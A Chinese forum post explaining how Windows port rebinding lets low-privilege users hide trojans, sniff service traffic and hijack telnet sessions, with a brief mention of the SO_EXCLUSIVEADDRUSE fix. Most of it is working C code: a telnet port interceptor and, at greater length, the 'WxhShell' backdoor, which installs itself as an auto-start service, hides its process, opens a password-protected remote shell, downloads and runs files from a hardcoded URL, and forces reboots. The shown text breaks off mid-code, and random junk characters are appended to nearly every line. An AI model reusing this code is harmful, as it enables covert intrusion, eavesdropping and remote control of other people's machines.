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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;kT~&.,y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;82?ACCP  
Yb1Q6[!  
  saddr.sin_family = AF_INET; a>Zp?*9  
sk AF6n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 62K#rR S  
bfy=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qVjMflVoay  
h 9}x6t,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y%>u.HzL  
K_!:oe7%  
  这意味着什么?意味着可以进行如下的攻击: 77ztDQDtM  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }]JHY P\  
2.MY8}&WBu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7:<A_OLi  
.N`*jT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yT~x7,  
ExeZj8U  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E=`/}2  
c5: X$k\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7+qKA1t^  
''3I0X*!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q%dbx:y#  
?0?3yD-!9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [1O{yPV3s  
T''<yS  
  #include NB+/S;`  
  #include m(0X_& &?z  
  #include uL^`uI#I  
  #include    7!\zo mx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tBX71d T  
  int main() B-PX/Q  
  { /'b7q y  
  WORD wVersionRequested; d[XMQX  
  DWORD ret; "\ =Phqw   
  WSADATA wsaData; Lj3Pp$h  
  BOOL val; U]@?[+I0]  
  SOCKADDR_IN saddr; ,]]*}4[r  
  SOCKADDR_IN scaddr; $48 Z>ij?f  
  int err; D3%2O`9  
  SOCKET s; 1Kd6tnX  
  SOCKET sc; &HtTh {  
  int caddsize; o"_'cNAz  
  HANDLE mt; W|y;Kxy  
  DWORD tid;   5pK _-:?  
  wVersionRequested = MAKEWORD( 2, 2 ); 0G0(g,3p  
  err = WSAStartup( wVersionRequested, &wsaData ); Rd|8=`)  
  if ( err != 0 ) { OHrzN ']  
  printf("error!WSAStartup failed!\n"); z,4 D'F&  
  return -1; oR/_{#Mz"  
  } \ Ce*5h  
  saddr.sin_family = AF_INET; }}D32T VN  
   wm_rU]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [m%]C  
5$+ssR_?k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iRbe$v&N  
  saddr.sin_port = htons(23); *>1^q9M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P{yb%@I~J  
  { <HzL%DX  
  printf("error!socket failed!\n"); QodWUbi'&  
  return -1; '2ZvK  
  } i'4.w?OZ  
  val = TRUE; e<[ ] W4"A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ic"8'Rwb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h9#)Eo   
  { n.z,-H17  
  printf("error!setsockopt failed!\n"); $mh\`  
  return -1; D9?.Ru0.  
  } R=F_U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]V_A4Df  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :2&"ak>N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z# bO}!  
xwi6#>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c+ByEP4EG  
  { :7mHPe }(  
  ret=GetLastError(); -a&<Un/  
  printf("error!bind failed!\n"); 4e#$ -V   
  return -1; $/B~bJC  
  } l;L_A@B<  
  listen(s,2); Pg{1'-  
  while(1) S#$Kmm |  
  { T~(Sc'8  
  caddsize = sizeof(scaddr); /jGV[_Q=P  
  //接受连接请求 >#k- ~|w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^YropzHZ4E  
  if(sc!=INVALID_SOCKET)  o?m/  
  { h /^bRs`;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [.1ME lM  
  if(mt==NULL) PMV,*`"9"A  
  { RtzSe$O  
  printf("Thread Creat Failed!\n"); :GO"bsjL  
  break; LO>42o?/i  
  } %dv?n#Uf  
  } M +r!63T  
  CloseHandle(mt); R&J?X Q  
  } 7.6L1srV  
  closesocket(s); ?s3S$Ih  
  WSACleanup(); `fTM/"  
  return 0; ,"XiI$Le  
  }   +yHz7^6-5  
  DWORD WINAPI ClientThread(LPVOID lpParam) c38XM]Jeq  
  { -TH MTRFz  
  SOCKET ss = (SOCKET)lpParam; 'A3skznX{  
  SOCKET sc; H(rD*R[  
  unsigned char buf[4096]; =I)43ah d  
  SOCKADDR_IN saddr; ~~ rR< re  
  long num; . R/y`:1:W  
  DWORD val; j)6p>6  
  DWORD ret; yxo=eSOM  
  //如果是隐藏端口应用的话,可以在此处加一些判断  mPk'a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XW" 0:}`J  
  saddr.sin_family = AF_INET; n2hV}t9O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >([,yMIY  
  saddr.sin_port = htons(23); Vm>EF~r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >MYDwH  
  { 9;?u%  
  printf("error!socket failed!\n"); ~"CGur P  
  return -1; 9S*"={}%  
  } _gI1rXI  
  val = 100; a4=(z72xe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S!.&#sc  
  { I4{xQI  
  ret = GetLastError(); p2{7+m  
  return -1; MA6 Vy  
  } \/o$io,kV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #c>GjUJ.w  
  { @XV&^l -  
  ret = GetLastError(); ACdPF_Y]  
  return -1; 6 AGZ)gX  
  } hN &?x5aC>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]b!n ;{5  
  { -` U |5  
  printf("error!socket connect failed!\n"); EZ]4cd/i  
  closesocket(sc); )J}v.8   
  closesocket(ss); U5OX.0  
  return -1; 9ziFjP+1  
  } <78|~SKAV  
  while(1) bYnq,JRA  
  { $2?AJ/2r$b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0!_?\)X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R=lw}jH[Z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;*M@LP{*L  
  num = recv(ss,buf,4096,0); '#V@a  
  if(num>0) _>R aw  
  send(sc,buf,num,0); 7RL J  
  else if(num==0) MQ-u9=ys  
  break; )ffaOS!\  
  num = recv(sc,buf,4096,0); nQjpJ /=  
  if(num>0) v{VF>qE P  
  send(ss,buf,num,0); og5VB  
  else if(num==0) )hXTgUZa  
  break; gM\>{ihM'  
  } pOc2V  
  closesocket(ss); 5mD8$% \8  
  closesocket(sc); ir_XU/ve  
  return 0 ; >+P}S@  
  } O -1O@:}c  
^{4BcM7eH  
=cS&>MT  
========================================================== jtP*C_Scv/  
10Ik_L='  
下边附上一个代码,,WXhSHELL <\~v$=G  
_SAM8!q4,  
========================================================== ,X4+i8Yc  
&*=!B9OBI  
#include "stdafx.h" U]=yCEb8p  
oAQQ OtpZN  
#include <stdio.h> hul,Yd) Z  
#include <string.h> 6dRhK+|  
#include <windows.h> f^ui Zb  
#include <winsock2.h> 4]h/t&ppq  
#include <winsvc.h> WiS3W;  
#include <urlmon.h> pj$JA  
qk2E>  
#pragma comment (lib, "Ws2_32.lib") s5nw<V9$]  
#pragma comment (lib, "urlmon.lib") -3{Q`@F  
)!2@v@SQ  
#define MAX_USER   100 // 最大客户端连接数 lFnls6dp  
#define BUF_SOCK   200 // sock buffer b&:v6#i  
#define KEY_BUFF   255 // 输入 buffer _x,X0ncv]@  
= :gKh  
#define REBOOT     0   // 重启 QnWE;zN[7A  
#define SHUTDOWN   1   // 关机 5H0qMt P  
Q)DEcx-|,  
#define DEF_PORT   5000 // 监听端口 ca g5w~Px  
.N X9A b  
#define REG_LEN     16   // 注册表键长度 G% tlV&In  
#define SVC_LEN     80   // NT服务名长度 '[ t.  
,a?)O6?/  
// 从dll定义API gjDNl/r/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |LZ;2 i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eiKY az  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'Qy6m'esW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j=l2\W#}  
J\L'HIs  
// wxhshell配置信息 Vp/XVyL}R  
struct WSCFG { nqj(V  
  int ws_port;         // 监听端口 IzpE|8l  
  char ws_passstr[REG_LEN]; // 口令 !kovrvM6F  
  int ws_autoins;       // 安装标记, 1=yes 0=no .xJ54Vz  
  char ws_regname[REG_LEN]; // 注册表键名 K%v:giN$l`  
  char ws_svcname[REG_LEN]; // 服务名 d`^3fr'.4A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J:@gmo`M;V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )D+BvJ Y"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Lv%3 jj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {N4 'g_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4z0gyCAC A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >n"0>[:4  
Nn LK!Q  
}; oy^-?+   
$hhXsu=  
// default Wxhshell configuration 0cS$S Mn{  
struct WSCFG wscfg={DEF_PORT, sgfqIe1  
    "xuhuanlingzhe", %R0 Wq4}  
    1, GW,EyOE+~  
    "Wxhshell", :#YC_ id  
    "Wxhshell", {rc3`<%  
            "WxhShell Service", q<&1,^ A  
    "Wrsky Windows CmdShell Service", .4zzPD$1  
    "Please Input Your Password: ", jJ#D`iog5  
  1, g0B] ;Y>(  
  "http://www.wrsky.com/wxhshell.exe", d&+]@ Ii  
  "Wxhshell.exe" z% 8`F%2  
    }; f .O^R~,  
Kb%Y%j  
// 消息定义模块 =X R~I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MB)<@.A0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )U %`7(bN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wL0[Slf}  
char *msg_ws_ext="\n\rExit."; ?'> .>  
char *msg_ws_end="\n\rQuit."; [c,V=:Cq  
char *msg_ws_boot="\n\rReboot..."; ;'S,JGpvT  
char *msg_ws_poff="\n\rShutdown..."; /~NX<Ye&  
char *msg_ws_down="\n\rSave to "; A6z ,6v6  
(47?lw &  
char *msg_ws_err="\n\rErr!"; 4Zbn8GpC  
char *msg_ws_ok="\n\rOK!"; w}3N!jNDv  
X _ZO)|  
char ExeFile[MAX_PATH]; 5?0<.f,  
int nUser = 0; R-Edht|{  
HANDLE handles[MAX_USER]; syl7i>P  
int OsIsNt; wA5Iz{uQO  
w-K A~  
SERVICE_STATUS       serviceStatus; eFiG:LS7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 50_[hC&C)  
HMd?`  
// 函数声明 ]Y [N=G  
int Install(void); k{qxsNM  
int Uninstall(void); ,Cr%2Wg-  
int DownloadFile(char *sURL, SOCKET wsh); NXOXN]=c<  
int Boot(int flag); %~Yo{4mHs  
void HideProc(void); ;Nn(  
int GetOsVer(void); 4S26TgY  
int Wxhshell(SOCKET wsl); )L b` 4B  
void TalkWithClient(void *cs); F$t]JM  
int CmdShell(SOCKET sock); k4q":}M  
int StartFromService(void); Lf9hOMHx  
int StartWxhshell(LPSTR lpCmdLine); Ey=2 zo^F  
f;'*((  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x=DxD&I!J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bp^LLH  
_lv{8vf1B  
// 数据结构和表定义 vMz|'-rm$  
SERVICE_TABLE_ENTRY DispatchTable[] = ZXnacc~s  
{ h@ lz  
{wscfg.ws_svcname, NTServiceMain}, cEL:5*cAU}  
{NULL, NULL} OJe!K:  
}; ]9YA~n\  
</25J((  
// 自我安装 :E")Zw&sW3  
int Install(void) vkG#G]Qs";  
{ ]+I9{%zB%8  
  char svExeFile[MAX_PATH]; 1V2]@VQF  
  HKEY key; |=q~X}DA  
  strcpy(svExeFile,ExeFile); M(C">L]8  
c+FTt(\8.  
// 如果是win9x系统,修改注册表设为自启动 .n7@$kq  
if(!OsIsNt) { HYdM1s6vo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sQgz}0_= )  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zH1 ;h  
  RegCloseKey(key); kK75(x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IHEbT   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XUP{]w`.Z  
  RegCloseKey(key); xa)p ,  
  return 0; =;Q/bD->  
    } 0qN`-0Yk  
  } _mm(W=KiL  
}  ] 2 `%i5  
else { 'Ix@<$~i3F  
#zsaQg, B  
// 如果是NT以上系统,安装为系统服务 j@4MV^F2c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _[[0rn$  
if (schSCManager!=0) F3bTFFt  
{ 7hk<{gnr  
  SC_HANDLE schService = CreateService fqI67E$59  
  ( MFq?mZ,  
  schSCManager, aU6l>G`w  
  wscfg.ws_svcname, %Y~"Stmx  
  wscfg.ws_svcdisp, h7Uj "qH  
  SERVICE_ALL_ACCESS, ?s2-iuMPd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T<*)Cdid  
  SERVICE_AUTO_START, 94B%_  
  SERVICE_ERROR_NORMAL, i:YX_+n  
  svExeFile, 5t%8y!s  
  NULL, Fip 5vrD  
  NULL, l,o'J%<%  
  NULL, 1m5l((d  
  NULL, Ey7zb#/<!  
  NULL WWp MuB_G  
  ); %_|KiW  
  if (schService!=0) qt L]x -O  
  { y[b 8rv  
  CloseServiceHandle(schService); EV( F!&  
  CloseServiceHandle(schSCManager); n3p@duC4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kN/YnY*J<  
  strcat(svExeFile,wscfg.ws_svcname); ,=+t2Bn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uB)q1QQsqp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `t/j6 e]  
  RegCloseKey(key); f&CQn.K"  
  return 0; O[d#-0s  
    } >5t! Xt  
  } eWFkUjz  
  CloseServiceHandle(schSCManager); XR..DVab  
} O+W<l:|$  
} "mQp#d/'  
-*7i:mg  
return 1; VJ\qp%  
} Fv]6 a n.  
uzH MQp  
// 自我卸载 o}Grb/LJ  
int Uninstall(void) 8y27O  
{ 'xta/@Sq  
  HKEY key; K9zr]7;th  
vb^fx$V  
if(!OsIsNt) { 9D14/9*(dU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bse`Xfg  
  RegDeleteValue(key,wscfg.ws_regname); )p>Cf_[.  
  RegCloseKey(key); jSpj6:@B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z I2DQ] 9  
  RegDeleteValue(key,wscfg.ws_regname); vD8pVR+  
  RegCloseKey(key); [~8U],?1  
  return 0; ^'=[+  
  } AO8 #l YP?  
} C`r:jA<LC,  
} I/w;4!+)  
else { rCF=m]1zxT  
6?u`u t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \0 ~?i6o  
if (schSCManager!=0) LF7 }gQs ^  
{ `qJJ{<1&U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \lG)J0  
  if (schService!=0) dm}1"BU<  
  { m]V#fRC  
  if(DeleteService(schService)!=0) { sl-wNIQ  
  CloseServiceHandle(schService); ,Vq$>T@z  
  CloseServiceHandle(schSCManager); rG?5z"  
  return 0; c@g(_%_|2  
  } =RHtugwy  
  CloseServiceHandle(schService); !:xycLdfUp  
  } i!%WEHPe  
  CloseServiceHandle(schSCManager); w)ki<Dudg  
} ulzX$  
} Q~(Qh_Ff  
7C'@g)@^/  
return 1; __eB 7]#E  
} wb9(aS4  
?;o0~][!  
// 从指定url下载文件 4L,wBce;,t  
int DownloadFile(char *sURL, SOCKET wsh) - BWf.  
{ )Wle CS_  
  HRESULT hr; R]yce2w"z  
char seps[]= "/"; R ?s;L r  
char *token; 2FZ T  
char *file; S!PG7hK2  
char myURL[MAX_PATH]; v@]SddP,?  
char myFILE[MAX_PATH]; Z-lhJ<0/Pa  
F m:Ys](  
strcpy(myURL,sURL); @U!&XZ]h  
  token=strtok(myURL,seps); %~:\f#6  
  while(token!=NULL) LCSvw  
  { WyOav6/*K^  
    file=token; 1n<4yfJ  
  token=strtok(NULL,seps); 8o+:|V~X  
  } hdWVvN  
8?8V;   
GetCurrentDirectory(MAX_PATH,myFILE); <lR:^M[v5<  
strcat(myFILE, "\\"); {J)%6eL?  
strcat(myFILE, file); 2OpA1$n6  
  send(wsh,myFILE,strlen(myFILE),0); sSfP.R  
send(wsh,"...",3,0); )PvnB=wy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7 q!==P=  
  if(hr==S_OK) $(gL#"T  
return 0; 7zx xO|p[  
else d`TiY`!  
return 1; P>rRD`Yy\  
g^H,EaPl  
} ujnT B*Cqc  
I(AlRh  
// 系统电源模块 ?,x\46]>_K  
int Boot(int flag) ~]?s A{  
{ SW%}S*h  
  HANDLE hToken; kSiyMDY-  
  TOKEN_PRIVILEGES tkp; sCw>J#@2>  
h!uyTgq  
  if(OsIsNt) { q)9n%- YgP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2FaCrc/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bD=H$)  
    tkp.PrivilegeCount = 1; *lA+ -gkK*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LU;zpXg\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 05{}@tW-  
if(flag==REBOOT) { =v^#MU{k?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C-S>'\ |8  
  return 0; ,+ IFV  
} "f 89   
else { |hj!NhBe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (/nnN4\=  
  return 0; DzMg^Kp  
} E9mu:T  
  } h2x9LPLBxT  
  else { baD063P;  
if(flag==REBOOT) { bK!h{Rr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C_>XtcU  
  return 0; oh:9v+  
} %\,9S`0  
else { c_ncx|dUs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xDU \mfeGj  
  return 0; ?7V~>i8[  
} 9#7W+9  
} yYGs] +  
~C^:SND7  
return 1; #<==7X#  
} \,Ws=9f  
O$r/ {{I.  
// win9x进程隐藏模块 n= 4  
void HideProc(void) RtR@wZ2\s  
{ o}G`t Bz  
niCK(&z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2DPv7\fW  
  if ( hKernel != NULL ) RHBQgD$  
  { `1P|<VbZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $%cHplQz5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i,^3aZwJ'  
    FreeLibrary(hKernel); 6\I^]\YO  
  } $adZ|Q\  
B(1-u!pz  
return; O6/ vFEB  
} q\?p' i  
~IW{^u  
// 获取操作系统版本 p%meuWV%5  
int GetOsVer(void) "G%</G8M  
{ 8Yk*$RR9  
  OSVERSIONINFO winfo; U!-Nx9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E\DA3lq  
  GetVersionEx(&winfo); iii|;v ]+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z5(9=8hB/  
  return 1; O=+$X Pa|  
  else L$3lsu!4n  
  return 0; R 39_!  
} XfE9QA[  
q 0F6MAXj  
// 客户端句柄模块 fWq*Op.]c  
int Wxhshell(SOCKET wsl) V:L%GWU  
{ DFWO5Y_  
  SOCKET wsh; h_#=f(.'j  
  struct sockaddr_in client; u#EcR}=]  
  DWORD myID; aR6F%7gvz  
^D+^~>f  
  while(nUser<MAX_USER) B%uY/Mwz$  
{ k*)sz  
  int nSize=sizeof(client); YhV<.2^k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "g5{NjimY  
  if(wsh==INVALID_SOCKET) return 1; 'o}[9ZBjn  
\\\8{jq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s.bo;lk  
if(handles[nUser]==0) ?110} [jw  
  closesocket(wsh); \Aro Sy9  
else y(QFf*J  
  nUser++; 2%fIe   
  } 0c`zg7|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $4xSI"+M%  
WqF,\y%W*  
  return 0; {,sqUq (  
} S j~SG  
="YGR:  
// 关闭 socket B }%2FUv  
void CloseIt(SOCKET wsh) ~ C%I'z'  
{ nI]EfHU  
closesocket(wsh); <7Pp98si,u  
nUser--; \fTQNF  
ExitThread(0); !\4B.  
} ?nW>' z  
T#-;>@a}  
// 客户端请求句柄 la+Cra&xL  
void TalkWithClient(void *cs) mF\!~ag|  
{ a)ry}E =f  
A811VL^  
  SOCKET wsh=(SOCKET)cs; ErNYiYLi]  
  char pwd[SVC_LEN]; 4{kH;~ z$  
  char cmd[KEY_BUFF]; D`WRy}o  
char chr[1]; PX|@D_%Y=  
int i,j; @p*)^D6E\  
u5A?; a  
  while (nUser < MAX_USER) { ;9k>; g3m  
9(TGkz(NA  
if(wscfg.ws_passstr) { IANSpWea?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o0C&ol_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~I5hV}ZT  
  //ZeroMemory(pwd,KEY_BUFF); ~)ys,Q  
      i=0; m@Yc&M~  
  while(i<SVC_LEN) { \i_E}Ii0  
pc*)^S  
  // 设置超时 /j GBQ-X  
  fd_set FdRead; @M"gEeI9  
  struct timeval TimeOut; )k,n}  
  FD_ZERO(&FdRead); DSz[,AaR]  
  FD_SET(wsh,&FdRead); 7tcadXk0  
  TimeOut.tv_sec=8; -Ty~lZ)TDT  
  TimeOut.tv_usec=0; !} TsFa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y'|,vG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y+ze`pL?  
[oTe8^@[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !G;u )7'v  
  pwd=chr[0]; {o24A: M  
  if(chr[0]==0xd || chr[0]==0xa) { Bx#i?=*W  
  pwd=0; 4MS<t FH)  
  break; C")genMH  
  } )cJ>&g4]  
  i++; vt#;j;liG  
    } w95M B*N  
uMg\s\Z  
  // 如果是非法用户,关闭 socket d5m -f/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k|)fl l  
} ?A3L8^tR  
%rptI$^*X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _f[Q\gK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )SmnLvL  
^OY]Y+S`Ox  
while(1) { +%W8Juu  
~(d {j}M>  
  ZeroMemory(cmd,KEY_BUFF); 1/Ts .\K3  
rz"$zc.)  
      // 自动支持客户端 telnet标准   5YD~l(,S1]  
  j=0; +Dy^4p?o  
  while(j<KEY_BUFF) { iT-coI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =hKAwk/^  
  cmd[j]=chr[0]; rR.It,,  
  if(chr[0]==0xa || chr[0]==0xd) { r9 @=d  
  cmd[j]=0; EraGG"+  
  break; dgw.OXa  
  } QadguV6|  
  j++; -G,}f\Cg  
    } q?(] Y*  
Yb+A{`  
  // 下载文件 OT{"C"%5t  
  if(strstr(cmd,"http://")) { *1dDs^D#|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~sk p}g]  
  if(DownloadFile(cmd,wsh)) v=N?(6T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3xChik{  
  else =j,WQ66r3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F[jE#M=k  
  } ,L/x\_28  
  else { |u&cN-}C d  
P"w\hF  
    switch(cmd[0]) { (9'^T.J  
  7{|QkTgC  
  // 帮助 So aqmY;+  
  case '?': { Op'a=4x]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H -kX-7C  
    break; $`F9e5}G  
  } Y 2 @8B6  
  // 安装 Pv'Q3O2<I  
  case 'i': { ,'X"(tpu@  
    if(Install()) L^+rsxR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VPUVPq~&  
    else "}]$ag!`q$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &~,4$& _  
    break; C%XO|sP  
    } /v R>.'  
  // 卸载 ZL!u$)(V  
  case 'r': { c$g@3gL  
    if(Uninstall()) t2N W$ -E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,>  zEG  
    else ||Zup\QB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9@ tp#  
    break; Y9+_MxC"  
    } [qYr~:`-[  
  // 显示 wxhshell 所在路径 isZ5s\  
  case 'p': { vQMBJ&  
    char svExeFile[MAX_PATH]; 8`q7Yss6F  
    strcpy(svExeFile,"\n\r"); TekUY m!G  
      strcat(svExeFile,ExeFile); |mb2<!ag{  
        send(wsh,svExeFile,strlen(svExeFile),0); 7j]v_2S`  
    break; ~e{ @5.g  
    } L:G#>  
  // 重启 `%C-7D'?  
  case 'b': { j_Szw w-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NQ9v[gv  
    if(Boot(REBOOT)) k ka5=u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;5Sdx5`_  
    else { @]=40Yj~w  
    closesocket(wsh); WgtLKRZ\  
    ExitThread(0); $]2)r[eA)  
    } Y2H-D{a27  
    break; r\Nfq(w  
    } CXlbtpK2k  
  // 关机 qkb'@f=  
  case 'd': { EApKN@<"  
